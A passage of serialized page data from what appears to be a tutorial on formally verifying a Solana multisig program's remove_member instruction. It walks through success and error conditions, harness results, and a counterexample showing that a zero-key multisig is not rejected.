57],{"type":27,"value":24609},{"type":21,"tag":198,"props":26759,"children":26760},{"style":683},[26761],{"type":27,"value":658},{"type":21,"tag":198,"props":26763,"children":26764},{"style":698},[26765],{"type":27,"value":26271},{"type":21,"tag":198,"props":26767,"children":26768},{"style":211},[26769],{"type":27,"value":706},{"type":21,"tag":198,"props":26771,"children":26772},{"style":226},[26773],{"type":27,"value":26603},{"type":21,"tag":198,"props":26775,"children":26776},{"style":211},[26777],{"type":27,"value":2109},{"type":21,"tag":198,"props":26779,"children":26780},{"style":683},[26781],{"type":27,"value":2156},{"type":21,"tag":198,"props":26783,"children":26784},{"style":211},[26785],{"type":27,"value":1483},{"type":21,"tag":198,"props":26787,"children":26788},{"class":200,"line":4599},[26789],{"type":21,"tag":198,"props":26790,"children":26791},{"emptyLinePlaceholder":16},[26792],{"type":27,"value":1283},{"type":21,"tag":198,"props":26794,"children":26795},{"class":200,"line":4607},[26796],{"type":21,"tag":198,"props":26797,"children":26798},{"style":1233},[26799],{"type":27,"value":26800}," // if the number of keys is now less than the threshold, adjust it\n",{"type":21,"tag":198,"props":26802,"children":26803},{"class":200,"line":4638},[26804,26808,26812,26816,26820,26824,26828,26832,26836,26840,26844,26849,26853,26857,26861,26865,26869,26873,26877,26881,26885,26889],{"type":21,"tag":198,"props":26805,"children":26806},{"style":640},[26807],{"type":27,"value":643},{"type":21,"tag":198,"props":26809,"children":26810},{"style":226},[26811],{"type":27,"value":26647},{"type":21,"tag":198,"props":26813,"children":26814},{"style":683},[26815],{"type":27,"value":658},{"type":21,"tag":198,"props":26817,"children":26818},{"style":211},[26819],{"type":27,"value":15480},{"type":21,"tag":198,"props":26821,"children":26822},{"style":683},[26823],{"type":27,"value":658},{"type":21,"tag":198,"props":26825,"children":26826},{"style":211},[26827],{"type":27,"value":24609},{"type":21,"tag":198,"props":26829,"children":26830},{"style":683},[26831],{"type":27,"value":658},{"type":21,"tag":198,"props":26833,"children":26834},{"style":211},[26835],{"type":27,"value":21776},{"type":21,"tag":198,"props":26837,"children":26838},{"style":683},[26839],{"type":27,"value":658},{"type":21,"tag":198,"props":26841,"children":26842},{"style":698},[26843],{"type":27,"value":9950},{"type":21,"tag":198,"props":26845,"children":26846},{"style":211},[26847],{"type":27,"value":26848},"() \u003C ",{"type":21,"tag":198,"props":26850,"children":26851},{"style":1966},[26852],{"type":27,"value":17404},{"type":21,"tag":198,"props":26854,"children":26855},{"style":683},[26856],{"type":27,"value":4286},{"type":21,"tag":198,"props":26858,"children":26859},{"style":698},[26860],{"type":27,"value":20268},{"type":21,"tag":198,"props":26862,"children":26863},{"style":211},[26864],{"type":27,"value":706},{"type":21,"tag":198,"props":26866,"children":26867},{"style":226},[26868],{"type":27,"value":21075},{"type":21,"tag":198,"props":26870,"children":26871},{"style":683},[26872],{"type":27,"value":658},{"type":21,"tag":198,"props":26874,"children":26875},{"style":211},[26876],{"type":27,"value":15480},{"type":21,"tag":198,"props":26878,"children":26879},{"style":683},[26880],{"type":27,"value":658},{"type":21,"tag":198,"props":26882,"children":26883},{"style":211},[26884],{"type":27,"value":24609},{"type":21,"tag":198,"props":26886,"children":26887},{"style":683},[26888],{"type":27,"value":658},{"type":21,"tag":198,"props":26890,"children":26891},{"style":211},[26892],{"type":27,"value":26893},"threshold) {\n",{"type":21,"tag":198,"props":26895,"children":26896},{"class":200,"line":4646},[26897,26901,26906,26910,26914,26918,26922,26926,26930,26934,26938,26942,26946,26950,26954,26958,26962,26967,26971,26975,26979],{"type":21,"tag":198,"props":26898,"children":26899},{"style":249},[26900],{"type":27,"value":3873},{"type":21,"tag":198,"props":26902,"children":26903},{"style":226},[26904],{"type":27,"value":26905}," new_threshold",{"type":21,"tag":198,"props":26907,"children":26908},{"style":683},[26909],{"type":27,"value":185},{"type":21,"tag":198,"props":26911,"children":26912},{"style":1966},[26913],{"type":27,"value":21823},{"type":21,"tag":198,"props":26915,"children":26916},{"style":683},[26917],{"type":27,"value":979},{"type":21,"tag":198,"props":26919,"children":26920},{"style":226},[26921],{"type":27,"value":26647},{"type":21,"tag":198,"props":26923,"children":26924},{"style":683},[26925],{"type":27,"value":658},{"type":21,"tag":198,"props":26927,"children":26928},{"style":211},[26929],{"type":27,"value":15480},{"type":21,"tag":198,"props":26931,"children":26932},{"style":683},[26933],{"type":27,"value":658},{"type":21,"tag":198,"props":26935,"children":26936},{"style":211},[26937],{"type":27,"value":24609},{"type":21,"tag":198,"props":26939,"children":26940},{"style":683},[26941],{"type":27,"value":658},{"type":21,"tag":198,"props":26943,"children":26944},{"style":211},[26945],{"type":27,"value":21776},{"type":21,"tag":198,"props":26947,"children":26948},{"style":683},[26949],{"type":27,"value":658},{"type":21,"tag":198,"props":26951,"children":26952},{"style":698},[26953],{"type":27,"value":9950},{"type":21,"tag":198,"props":26955,"children":26956},{"style":211},[26957],{"type":27,"value":14686},{"type":21,"tag":198,"props":26959,"children":26960},{"style":683},[26961],{"type":27,"value":658},{"type":21,"tag":198,"props":26963,"children":26964},{"style":698},[26965],{"type":27,"value":26966},"try_into",{"type":21,"tag":198,"props":26968,"children":26969},{"style":211},[26970],{"type":27,"value":14686},{"type":21,"tag":198,"props":26972,"children":26973},{"style":683},[26974],{"type":27,"value":658},{"type":21,"tag":198,"props":26976,"children":26977},{"style":698},[26978],{"type":27,"value":4470},{"type":21,"tag":198,"props":26980,"children":26981},{"style":211},[26982],{"type":27,"value":3404},{"type":21,"tag":198,"props":26984,"children":26985},{"class":200,"line":4706},[26986,26991,26995,26999,27003,27007,27011,27016,27020,27025,27029,27033],{"type":21,"tag":198,"props":26987,"children":26988},{"style":226},[26989],{"type":27,"value":26990}," ctx",{"type":21,"tag":198,"props":26992,"children":26993},{"style":683},[26994],{"type":27,"value":658},{"type":21,"tag":198,"props":26996,"children":26997},{"style":211},[26998],{"type":27,"value":15480},{"type":21,"tag":198,"props":27000,"children":27001},{"style":683},[27002],{"type":27,"value":658},{"type":21,"tag":198,"props":27004,"children":27005},{"style":211},[27006],{"type":27,"value":24609},{"type":21,"tag":198,"props":27008,"children":27009},{"style":683},[27010],{"type":27,"value":658},{"type":21,"tag":198,"props":27012,"children":27013},{"style":698},[27014],{"type":27,"value":27015},"change_threshold",{"type":21,"tag":198,"props":27017,"children":27018},{"style":211},[27019],{"type":27,"value":706},{"type":21,"tag":198,"props":27021,"children":27022},{"style":226},[27023],{"type":27,"value":27024},"new_threshold",{"type":21,"tag":198,"props":27026,"children":27027},{"style":211},[27028],{"type":27,"value":2109},{"type":21,"tag":198,"props":27030,"children":27031},{"style":683},[27032],{"type":27,"value":2156},{"type":21,"tag":198,"props":27034,"children":27035},{"style":211},[27036],{"type":27,"value":1483},{"type":21,"tag":198,"props":27038,"children":27039},{"class":200,"line":9857},[27040],{"type":21,"tag":198,"props":27041,"children":27042},{"style":211},[27043],{"type":27,"value":880},{"type":21,"tag":198,"props":27045,"children":27046},{"class":200,"line":9875},[27047,27051,27056,27060,27064,27068,27072,27076,27080,27084],{"type":21,"tag":198,"props":27048,"children":27049},{"style":249},[27050],{"type":27,"value":3809},{"type":21,"tag":198,"props":27052,"children":27053},{"style":226},[27054],{"type":27,"value":27055}," new_index",{"type":21,"tag":198,"props":27057,"children":27058},{"style":683},[27059],{"type":27,"value":979},{"type":21,"tag":198,"props":27061,"children":27062},{"style":226},[27063],{"type":27,"value":26647},{"type":21,"tag":198,"props":27065,"children":27066},{"style":683},[27067],{"type":27,"value":658},{"type":21,"tag":198,"props":27069,"children":27070},{"style":211},[27071],{"type":27,"value":15480},{"type":21,"tag":198,"props":27073,"children":27074},{"style":683},[27075],{"type":27,"value":658},{"type":21,"tag":198,"props":27077,"children":27078},{"style":211},[27079],{"type":27,"value":24609},{"type":21,"tag":198,"props":27081,"children":27082},{"style":683},[27083],{"type":27,"value":658},{"type":21,"tag":198,"props":27085,"children":27086},{"style":211},[27087],{"type":27,"value":27088},"transaction_index;\n",{"type":21,"tag":198,"props":27090,"children":27091},{"class":200,"line":9920},[27092,27096,27100,27104,27108,27112,27116,27121,27125,27130],{"type":21,"tag":198,"props":27093,"children":27094},{"style":226},[27095],{"type":27,"value":21018},{"type":21,"tag":198,"props":27097,"children":27098},{"style":683},[27099],{"type":27,"value":658},{"type":21,"tag":198,"props":27101,"children":27102},{"style":211},[27103],{"type":27,"value":15480},{"type":21,"tag":198,"props":27105,"children":27106},{"style":683},[27107],{"type":27,"value":658},{"type":21,"tag":198,"props":27109,"children":27110},{"style":211},[27111],{"type":27,"value":24609},{"type":21,"tag":198,"props":27113,"children":27114},{"style":683},[27115],{"type":27,"value":658},{"type":21,"tag":198,"props":27117,"children":27118},{"style":698},[27119],{"type":27,"value":27120},"set_change_index",{"type":21,"tag":198,"props":27122,"children":27123},{"style":211},[27124],{"type":27,"value":706},{"type":21,"tag":198,"props":27126,"children":27127},{"style":226},[27128],{"type":27,"value":27129},"new_index",{"type":21,"tag":198,"props":27131,"children":27132},{"style":211},[27133],{"type":27,"value":789},{"type":21,"tag":198,"props":27135,"children":27136},{"class":200,"line":10026},[27137],{"type":21,"tag":198,"props":27138,"children":27139},{"style":211},[27140],{"type":27,"value":1120},{"type":21,"tag":30,"props":27142,"children":27143},{},[27144,27146,27151],{"type":27,"value":27145},"First let's establish the ",{"type":21,"tag":194,"props":27147,"children":27149},{"className":27148},[],[27150],{"type":27,"value":20949},{"type":27,"value":27152}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":21,"tag":187,"props":27154,"children":27156},{"code":27155,"language":3788,"meta":7,"className":3789,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[27157],{"type":21,"tag":194,"props":27158,"children":27159},{"__ignoreMap":7},[27160,27167,27214,27221],{"type":21,"tag":198,"props":27161,"children":27162},{"class":200,"line":201},[27163],{"type":21,"tag":198,"props":27164,"children":27165},{"style":211},[27166],{"type":27,"value":24916},{"type":21,"tag":198,"props":27168,"children":27169},{"class":200,"line":217},[27170,27174,27178,27182,27186,27190,27194,27198,27202,27206,27210],{"type":21,"tag":198,"props":27171,"children":27172},{"style":211},[27173],{"type":27,"value":21018},{"type":21,"tag":198,"props":27175,"children":27176},{"style":683},[27177],{"type":27,"value":658},{"type":21,"tag":198,"props":27179,"children":27180},{"style":211},[27181],{"type":27,"value":15480},{"type":21,"tag":198,"props":27183,"children":27184},{"style":683},[27185],{"type":27,"value":658},{"type":21,"tag":198,"props":27187,"children":27188},{"style":211},[27189],{"type":27,"value":24609},{"type":21,"tag":198,"props":27191,"children":27192},{"style":683},[27193],{"type":27,"value":658},{"type":21,"tag":198,"props":27195,"children":27196},{"style":211},[27197],{"type":27,"value":21776},{"type":21,"tag":198,"props":27199,"children":27200},{"style":683},[27201],{"type":27,"value":658},{"type":21,"tag":198,"props":27203,"children":27204},{"style":211},[27205],{"type":27,"value":21814},{"type":21,"tag":198,"props":27207,"children":27208},{"style":683},[27209],{"type":27,"value":11270},{"type":21,"tag":198,"props":27211,"children":27212},{"style":211},[27213],{"type":27,"value":20237},{"type":21,"tag":198,"props":27215,"children":27216},{"class":200,"line":236},[27217],{"type":21,"tag":198,"props":27218,"children":27219},{"style":211},[27220],{"type":27,"value":21053},{"type":21,"tag":198,"props":27222,"children":27223},{"class":200,"line":260},[27224,27228,27232,27236,27240,27244,27248],{"type":21,"tag":198,"props":27225,"children":27226},{"style":249},[27227],{"type":27,"value":21061},{"type":21,"tag":198,"props":27229,"children":27230},{"style":698},[27231],{"type":27,"value":26569},{"type":21,"tag":198,"props":27233,"children":27234},{"style":211},[27235],{"type":27,"value":706},{"type":21,"tag":198,"props":27237,"children":27238},{"style":683},[27239],{"type":27,"value":10402},{"type":21,"tag":198,"props":27241,"children":27242},{"style":211},[27243],{"type":27,"value":24793},{"type":21,"tag":198,"props":27245,"children":27246},{"style":683},[27247],{"type":27,"value":10402},{"type":21,"tag":198,"props":27249,"children":27250},{"style":211},[27251],{"type":27,"value":1909},{"type":21,"tag":30,"props":27253,"children":27254},{},[27255,27257,27262],{"type":27,"value":27256},"And for now let's remove the invariant on the ",{"type":21,"tag":194,"props":27258,"children":27260},{"className":27259},[],[27261],{"type":27,"value":23535},{"type":27,"value":27263}," account:",{"type":21,"tag":187,"props":27265,"children":27267},{"code":27266,"language":3788,"meta":7,"className":3789,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[27268],{"type":21,"tag":194,"props":27269,"children":27270},{"__ignoreMap":7},[27271,27279],{"type":21,"tag":198,"props":27272,"children":27273},{"class":200,"line":201},[27274],{"type":21,"tag":198,"props":27275,"children":27276},{"style":211},[27277],{"type":27,"value":27278},"#[invariant()]\n",{"type":21,"tag":198,"props":27280,"children":27281},{"class":200,"line":217},[27282,27286,27290,27294,27298,27302],{"type":21,"tag":198,"props":27283,"children":27284},{"style":249},[27285],{"type":27,"value":14497},{"type":21,"tag":198,"props":27287,"children":27288},{"style":249},[27289],{"type":27,"value":21944},{"type":21,"tag":198,"props":27291,"children":27292},{"style":1966},[27293],{"type":27,"value":21949},{"type":21,"tag":198,"props":27295,"children":27296},{"style":211},[27297],{"type":27,"value":1891},{"type":21,"tag":198,"props":27299,"children":27300},{"style":683},[27301],{"type":27,"value":10402},{"type":21,"tag":198,"props":27303,"children":27304},{"style":211},[27305],{"type":27,"value":1909},{"type":21,"tag":30,"props":27307,"children":27308},{},[27309],{"type":27,"value":27310},"Let's test this!",{"type":21,"tag":30,"props":27312,"children":27313},{},[27314,27316,27321],{"type":27,"value":27315},"Our ",{"type":21,"tag":194,"props":27317,"children":27319},{"className":27318},[],[27320],{"type":27,"value":20949},{"type":27,"value":27322}," harness produces:",{"type":21,"tag":187,"props":27324,"children":27326},{"code":27325},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[27327],{"type":21,"tag":194,"props":27328,"children":27329},{"__ignoreMap":7},[27330],{"type":27,"value":27325},{"type":21,"tag":30,"props":27332,"children":27333},{},[27334],{"type":27,"value":27335},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":21,"tag":30,"props":27337,"children":27338},{},[27339,27341,27346],{"type":27,"value":27340},"However, remember that since ",{"type":21,"tag":194,"props":27342,"children":27344},{"className":27343},[],[27345],{"type":27,"value":20949},{"type":27,"value":27347}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":21,"tag":30,"props":27349,"children":27350},{},[27351,27353,27358,27360,27365,27367,27372],{"type":27,"value":27352},"Suppose we want to be sure that this condition is the ",{"type":21,"tag":1671,"props":27354,"children":27355},{},[27356],{"type":27,"value":27357},"only condition",{"type":27,"value":27359}," in which the function will succeed (i.e. ",{"type":21,"tag":1671,"props":27361,"children":27362},{},[27363],{"type":27,"value":27364},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":27,"value":27366},"). We could attempt to verify the other side of this with an ",{"type":21,"tag":194,"props":27368,"children":27370},{"className":27369},[],[27371],{"type":27,"value":20956},{"type":27,"value":27373}," macro such as:",{"type":21,"tag":187,"props":27375,"children":27377},{"code":27376,"language":3788,"meta":7,"className":3789,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[27378],{"type":21,"tag":194,"props":27379,"children":27380},{"__ignoreMap":7},[27381,27388,27435,27442,27449,27496,27503],{"type":21,"tag":198,"props":27382,"children":27383},{"class":200,"line":201},[27384],{"type":21,"tag":198,"props":27385,"children":27386},{"style":211},[27387],{"type":27,"value":24916},{"type":21,"tag":198,"props":27389,"children":27390},{"class":200,"line":217},[27391,27395,27399,27403,27407,27411,27415,27419,27423,27427,27431],{"type":21,"tag":198,"props":27392,"children":27393},{"style":211},[27394],{"type":27,"value":21018},{"type":21,"tag":198,"props":27396,"children":27397},{"style":683},[27398],{"type":27,"value":658},{"type":21,"tag":198,"props":27400,"children":27401},{"style":211},[27402],{"type":27,"value":15480},{"type":21,"tag":198,"props":27404,"children":27405},{"style":683},[27406],{"type":27,"value":658},{"type":21,"tag":198,"props":27408,"children":27409},{"style":211},[27410],{"type":27,"value":24609},{"type":21,"tag":198,"props":27412,"children":27413},{"style":683},[27414],{"type":27,"value":658},{"type":21,"tag":198,"props":27416,"children":27417},{"style":211},[27418],{"type":27,"value":21776},{"type":21,"tag":198,"props":27420,"children":27421},{"style":683},[27422],{"type":27,"value":658},{"type":21,"tag":198,"props":27424,"children":27425},{"style":211},[27426],{"type":27,"value":21814},{"type":21,"tag":198,"props":27428,"children":27429},{"style":683},[27430],{"type":27,"value":11270},{"type":21,"tag":198,"props":27432,"children":27433},{"style":211},[27434],{"type":27,"value":20237},{"type":21,"tag":198,"props":27436,"children":27437},{"class":200,"line":236},[27438],{"type":21,"tag":198,"props":27439,"children":27440},{"style":211},[27441],{"type":27,"value":21053},{"type":21,"tag":198,"props":27443,"children":27444},{"class":200,"line":260},[27445],{"type":21,"tag":198,"props":27446,"children":27447},{"style":211},[27448],{"type":27,"value":21010},{"type":21,"tag":198,"props":27450,"children":27451},{"class":200,"line":281},[27452,27456,27460,27464,27468,27472,27476,27480,27484,27488,27492],{"type":21,"tag":198,"props":27453,"children":27454},{"style":211},[27455],{"type":27,"value":21018},{"type":21,"tag":198,"props":27457,"children":27458},{"style":683},[27459],{"type":27,"value":658},{"type":21,"tag":198,"props":27461,"children":27462},{"style":211},[27463],{"type":27,"value":15480},{"type":21,"tag":198,"props":27465,"children":27466},{"style":683},[27467],{"type":27,"value":658},{"type":21,"tag":198,"props":27469,"children":27470},{"style":211},[27471],{"type":27,"value":24609},{"type":21,"tag":198,"props":27473,"children":27474},{"style":683},[27475],{"type":27,"value":658},{"type":21,"tag":198,"props":27477,"children":27478},{"style":211},[27479],{"type":27,"value":21776},{"type":21,"tag":198,"props":27481,"children":27482},{"style":683},[27483],{"type":27,"value":658},{"type":21,"tag":198,"props":27485,"children":27486},{"style":211},[27487],{"type":27,"value":21814},{"type":21,"tag":198,"props":27489,"children":27490},{"style":683},[27491],{"type":27,"value":20209},{"type":21,"tag":198,"props":27493,"children":27494},{"style":211},[27495],{"type":27,"value":20237},{"type":21,"tag":198,"props":27497,"children":27498},{"class":200,"line":302},[27499],{"type":21,"tag":198,"props":27500,"children":27501},{"style":211},[27502],{"type":27,"value":21053},{"type":21,"tag":198,"props":27504,"children":27505},{"class":200,"line":323},[27506,27510,27514,27518,27522,27526,27530],{"type":21,"tag":198,"props":27507,"children":27508},{"style":249},[27509],{"type":27,"value":21061},{"type":21,"tag":198,"props":27511,"children":27512},{"style":698},[27513],{"type":27,"value":26569},{"type":21,"tag":198,"props":27515,"children":27516},{"style":211},[27517],{"type":27,"value":706},{"type":21,"tag":198,"props":27519,"children":27520},{"style":683},[27521],{"type":27,"value":10402},{"type":21,"tag":198,"props":27523,"children":27524},{"style":211},[27525],{"type":27,"value":24793},{"type":21,"tag":198,"props":27527,"children":27528},{"style":683},[27529],{"type":27,"value":10402},{"type":21,"tag":198,"props":27531,"children":27532},{"style":211},[27533],{"type":27,"value":1909},{"type":21,"tag":30,"props":27535,"children":27536},{},[27537,27539,27544],{"type":27,"value":27538},"Let's test this, we just need to run the new ",{"type":21,"tag":194,"props":27540,"children":27542},{"className":27541},[],[27543],{"type":27,"value":20956},{"type":27,"value":27545}," harness:",{"type":21,"tag":187,"props":27547,"children":27549},{"code":27548},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[27550],{"type":21,"tag":194,"props":27551,"children":27552},{"__ignoreMap":7},[27553],{"type":27,"value":27548},{"type":21,"tag":30,"props":27555,"children":27556},{},[27557],{"type":27,"value":27558},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":21,"tag":187,"props":27560,"children":27562},{"code":27561,"language":3788,"meta":7,"className":3789,"style":7},"Account {\n account: Ms {\n threshold: 0,\n authority_index: 0,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: Vec {\n data: ...,\n size: 0,\n },\n },\n info: AccountInfo { ... },\n}\n",[27563],{"type":21,"tag":194,"props":27564,"children":27565},{"__ignoreMap":7},[27566,27577,27596,27615,27634,27653,27672,27691,27710,27729,27748,27768,27787,27794,27801,27828],{"type":21,"tag":198,"props":27567,"children":27568},{"class":200,"line":201},[27569,27573],{"type":21,"tag":198,"props":27570,"children":27571},{"style":1966},[27572],{"type":27,"value":17947},{"type":21,"tag":198,"props":27574,"children":27575},{"style":211},[27576],{"type":27,"value":233},{"type":21,"tag":198,"props":27578,"children":27579},{"class":200,"line":217},[27580,27584,27588,27592],{"type":21,"tag":198,"props":27581,"children":27582},{"style":226},[27583],{"type":27,"value":25976},{"type":21,"tag":198,"props":27585,"children":27586},{"style":683},[27587],{"type":27,"value":185},{"type":21,"tag":198,"props":27589,"children":27590},{"style":1966},[27591],{"type":27,"value":21949},{"type":21,"tag":198,"props":27593,"children":27594},{"style":211},[27595],{"type":27,"value":233},{"type":21,"tag":198,"props":27597,"children":27598},{"class":200,"line":236},[27599,27603,27607,27611],{"type":21,"tag":198,"props":27600,"children":27601},{"style":226},[27602],{"type":27,"value":24630},{"type":21,"tag":198,"props":27604,"children":27605},{"style":683},[27606],{"type":27,"value":185},{"type":21,"tag":198,"props":27608,"children":27609},{"style":2540},[27610],{"type":27,"value":3855},{"type":21,"tag":198,"props":27612,"children":27613},{"style":211},[27614],{"type":27,"value":257},{"type":21,"tag":198,"props":27616,"children":27617},{"class":200,"line":260},[27618,27622,27626,27630],{"type":21,"tag":198,"props":27619,"children":27620},{"style":226},[27621],{"type":27,"value":26016},{"type":21,"tag":198,"props":27623,"children":27624},{"style":683},[27625],{"type":27,"value":185},{"type":21,"tag":198,"props":27627,"children":27628},{"style":2540},[27629],{"type":27,"value":3855},{"type":21,"tag":198,"props":27631,"children":27632},{"style":211},[27633],{"type":27,"value":257},{"type":21,"tag":198,"props":27635,"children":27636},{"class":200,"line":281},[27637,27641,27645,27649],{"type":21,"tag":198,"props":27638,"children":27639},{"style":226},[27640],{"type":27,"value":26036},{"type":21,"tag":198,"props":27642,"children":27643},{"style":683},[27644],{"type":27,"value":185},{"type":21,"tag":198,"props":27646,"children":27647},{"style":2540},[27648],{"type":27,"value":3855},{"type":21,"tag":198,"props":27650,"children":27651},{"style":211},[27652],{"type":27,"value":257},{"type":21,"tag":198,"props":27654,"children":27655},{"class":200,"line":302},[27656,27660,27664,27668],{"type":21,"tag":198,"props":27657,"children":27658},{"style":226},[27659],{"type":27,"value":26056},{"type":21,"tag":198,"props":27661,"children":27662},{"style":683},[27663],{"type":27,"value":185},{"type":21,"tag":198,"props":27665,"children":27666},{"style":2540},[27667],{"type":27,"value":3855},{"type":21,"tag":198,"props":27669,"children":27670},{"style":211},[27671],{"type":27,"value":257},{"type":21,"tag":198,"props":27673,"children":27674},{"class":200,"line":323},[27675,27679,27683,27687],{"type":21,"tag":198,"props":27676,"children":27677},{"style":226},[27678],{"type":27,"value":26076},{"type":21,"tag":198,"props":27680,"children":27681},{"style":683},[27682],{"type":27,"value":185},{"type":21,"tag":198,"props":27684,"children":27685},{"style":2540},[27686],{"type":27,"value":3855},{"type":21,"tag":198,"props":27688,"children":27689},{"style":211},[27690],{"type":27,"value":257},{"type":21,"tag":198,"props":27692,"children":27693},{"class":200,"line":344},[27694,27698,27702,27706],{"type":21,"tag":198,"props":27695,"children":27696},{"style":226},[27697],{"type":27,"value":24643},{"type":21,"tag":198,"props":27699,"children":27700},{"style":683},[27701],{"type":27,"value":185},{"type":21,"tag":198,"props":27703,"children":27704},{"style":683},[27705],{"type":27,"value":26104},{"type":21,"tag":198,"props":27707,"children":27708},{"style":211},[27709],{"type":27,"value":257},{"type":21,"tag":198,"props":27711,"children":27712},{"class":200,"line":365},[27713,27717,27721,27725],{"type":21,"tag":198,"props":27714,"children":27715},{"style":226},[27716],{"type":27,"value":26116},{"type":21,"tag":198,"props":27718,"children":27719},{"style":683},[27720],{"type":27,"value":185},{"type":21,"tag":198,"props":27722,"children":27723},{"style":249},[27724],{"type":27,"value":9868},{"type":21,"tag":198,"props":27726,"children":27727},{"style":211},[27728],{"type":27,"value":257},{"type":21,"tag":198,"props":27730,"children":27731},{"class":200,"line":386},[27732,27736,27740,27744],{"type":21,"tag":198,"props":27733,"children":27734},{"style":226},[27735],{"type":27,"value":26136},{"type":21,"tag":198,"props":27737,"children":27738},{"style":683},[27739],{"type":27,"value":185},{"type":21,"tag":198,"props":27741,"children":27742},{"style":1966},[27743],{"type":27,"value":22182},{"type":21,"tag":198,"props":27745,"children":27746},{"style":211},[27747],{"type":27,"value":233},{"type":21,"tag":198,"props":27749,"children":27750},{"class":200,"line":408},[27751,27756,27760,27764],{"type":21,"tag":198,"props":27752,"children":27753},{"style":226},[27754],{"type":27,"value":27755}," data",{"type":21,"tag":198,"props":27757,"children":27758},{"style":683},[27759],{"type":27,"value":185},{"type":21,"tag":198,"props":27761,"children":27762},{"style":683},[27763],{"type":27,"value":26104},{"type":21,"tag":198,"props":27765,"children":27766},{"style":211},[27767],{"type":27,"value":257},{"type":21,"tag":198,"props":27769,"children":27770},{"class":200,"line":429},[27771,27775,27779,27783],{"type":21,"tag":198,"props":27772,"children":27773},{"style":226},[27774],{"type":27,"value":26157},{"type":21,"tag":198,"props":27776,"children":27777},{"style":683},[27778],{"type":27,"value":185},{"type":21,"tag":198,"props":27780,"children":27781},{"style":2540},[27782],{"type":27,"value":3855},{"type":21,"tag":198,"props":27784,"children":27785},{"style":211},[27786],{"type":27,"value":257},{"type":21,"tag":198,"props":27788,"children":27789},{"class":200,"line":450},[27790],{"type":21,"tag":198,"props":27791,"children":27792},{"style":211},[27793],{"type":27,"value":26178},{"type":21,"tag":198,"props":27795,"children":27796},{"class":200,"line":468},[27797],{"type":21,"tag":198,"props":27798,"children":27799},{"style":211},[27800],{"type":27,"value":26186},{"type":21,"tag":198,"props":27802,"children":27803},{"class":200,"line":477},[27804,27808,27812,27816,27820,27824],{"type":21,"tag":198,"props":27805,"children":27806},{"style":226},[27807],{"type":27,"value":26194},{"type":21,"tag":198,"props":27809,"children":27810},{"style":683},[27811],{"type":27,"value":185},{"type":21,"tag":198,"props":27813,"children":27814},{"style":1966},[27815],{"type":27,"value":26203},{"type":21,"tag":198,"props":27817,"children":27818},{"style":211},[27819],{"type":27,"value":1891},{"type":21,"tag":198,"props":27821,"children":27822},{"style":683},[27823],{"type":27,"value":10402},{"type":21,"tag":198,"props":27825,"children":27826},{"style":211},[27827],{"type":27,"value":26216},{"type":21,"tag":198,"props":27829,"children":27830},{"class":200,"line":494},[27831],{"type":21,"tag":198,"props":27832,"children":27833},{"style":211},[27834],{"type":27,"value":1120},{"type":21,"tag":30,"props":27836,"children":27837},{},[27838],{"type":27,"value":27839},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":21,"tag":30,"props":27841,"children":27842},{},[27843,27845,27851],{"type":27,"value":27844},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":21,"tag":194,"props":27846,"children":27848},{"className":27847},[],[27849],{"type":27,"value":27850},"Ms::remove_member",{"type":27,"value":185},{"type":21,"tag":187,"props":27853,"children":27855},{"code":27854,"language":3788,"meta":7,"className":3789,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[27856],{"type":21,"tag":194,"props":27857,"children":27858},{"__ignoreMap":7},[27859,27918,27949,27956],{"type":21,"tag":198,"props":27860,"children":27861},{"class":200,"line":201},[27862,27866,27870,27874,27878,27882,27886,27890,27894,27898,27902,27906,27910,27914],{"type":21,"tag":198,"props":27863,"children":27864},{"style":640},[27865],{"type":27,"value":16382},{"type":21,"tag":198,"props":27867,"children":27868},{"style":226},[27869],{"type":27,"value":26647},{"type":21,"tag":198,"props":27871,"children":27872},{"style":683},[27873],{"type":27,"value":658},{"type":21,"tag":198,"props":27875,"children":27876},{"style":211},[27877],{"type":27,"value":15480},{"type":21,"tag":198,"props":27879,"children":27880},{"style":683},[27881],{"type":27,"value":658},{"type":21,"tag":198,"props":27883,"children":27884},{"style":211},[27885],{"type":27,"value":24609},{"type":21,"tag":198,"props":27887,"children":27888},{"style":683},[27889],{"type":27,"value":658},{"type":21,"tag":198,"props":27891,"children":27892},{"style":211},[27893],{"type":27,"value":21776},{"type":21,"tag":198,"props":27895,"children":27896},{"style":683},[27897],{"type":27,"value":658},{"type":21,"tag":198,"props":27899,"children":27900},{"style":698},[27901],{"type":27,"value":9950},{"type":21,"tag":198,"props":27903,"children":27904},{"style":211},[27905],{"type":27,"value":14850},{"type":21,"tag":198,"props":27907,"children":27908},{"style":683},[27909],{"type":27,"value":9386},{"type":21,"tag":198,"props":27911,"children":27912},{"style":2540},[27913],{"type":27,"value":5335},{"type":21,"tag":198,"props":27915,"children":27916},{"style":211},[27917],{"type":27,"value":233},{"type":21,"tag":198,"props":27919,"children":27920},{"class":200,"line":217},[27921,27925,27929,27933,27937,27941,27945],{"type":21,"tag":198,"props":27922,"children":27923},{"style":640},[27924],{"type":27,"value":1478},{"type":21,"tag":198,"props":27926,"children":27927},{"style":698},[27928],{"type":27,"value":24312},{"type":21,"tag":198,"props":27930,"children":27931},{"style":211},[27932],{"type":27,"value":706},{"type":21,"tag":198,"props":27934,"children":27935},{"style":1966},[27936],{"type":27,"value":24321},{"type":21,"tag":198,"props":27938,"children":27939},{"style":683},[27940],{"type":27,"value":4286},{"type":21,"tag":198,"props":27942,"children":27943},{"style":1966},[27944],{"type":27,"value":26723},{"type":21,"tag":198,"p